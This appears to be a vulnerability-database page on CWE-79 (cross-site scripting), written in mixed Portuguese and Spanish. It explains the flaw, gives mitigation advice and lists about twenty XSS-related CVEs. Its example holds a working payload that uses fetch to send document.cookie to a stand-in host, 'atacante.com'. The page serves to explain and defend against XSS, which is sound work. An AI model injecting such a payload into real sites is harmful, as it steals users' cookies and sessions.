Fallos del tipo CWE-79

30.040 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-10340MEDIUMShortcodes Blocks Creator Ultimate <= 2.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-12519MEDIUMTCBD Auto Refresher <= 2.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-48870MEDIUMSharp and Toshiba Tec MFPs improperly validate input data in URI data registration, resulting in a stored cross-site scripting vulnerabilityEPSS 0.3%CVE-2025-2645MEDIUMPHPGurukul Art Gallery Management System product.php cross site scriptingEPSS 0.3%CVE-2026-25972MEDIUMAn improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSIEM 7.4.0, FortiSIEMEPSS 0.3%CVE-2024-35766HIGHWordPress WPPizza – A Restaurant Plugin plugin <= 3.18.13 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-21036MEDIUMVulnerability in the Oracle Complex Maintenance, Repair, and Overhaul product of Oracle E-Business Suite (component: LOV). Supported versioEPSS 0.3%CVE-2024-11896MEDIUMText Prompter – Unlimited chatgpt text prompts for openai tasks <= 1.0.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-30553MEDIUMWordPress GMO Font Agent plugin <= 1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2491MEDIUMDromara ujcms Edit Template File Page WebFileTemplateController.java update cross site scriptingEPSS 0.3%CVE-2024-12491MEDIUMSimplyRETS Real Estate IDX <= 2.11.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-15265MEDIUMSvelte 5.46.0 - Hydratable Key Script-Breakout XSS (SSR)EPSS 0.3%CVE-2024-11777MEDIUMSell Media <= 2.5.8.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-65200CRITICALAn issue was discovered in localstack 4.9.2 allowing attackers to execute arbitrary code via crafted content hosted on a web-accessable URL EPSS 0.3%CVE-2024-11685MEDIUMKudos Donations – Easy donations and payments with Mollie <= 3.2.9 - Reflected Cross-Site Scripting via 'add_query_arg'EPSS 0.3%CVE-2024-13137MEDIUMwangl1989 mysiteforme SiteController RestResponse cross site scriptingEPSS 0.3%CVE-2023-45552MEDIUMIn VeridiumID before 3.5.0, a stored cross-site scripting (XSS) vulnerability has been discovered in the admin portal that allows an authentEPSS 0.3%CVE-2024-8721MEDIUMTracking Code Manager <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-24638MEDIUMWordPress Create with Code plugin <= 1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11758MEDIUMWP SPID Italia <= 2.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%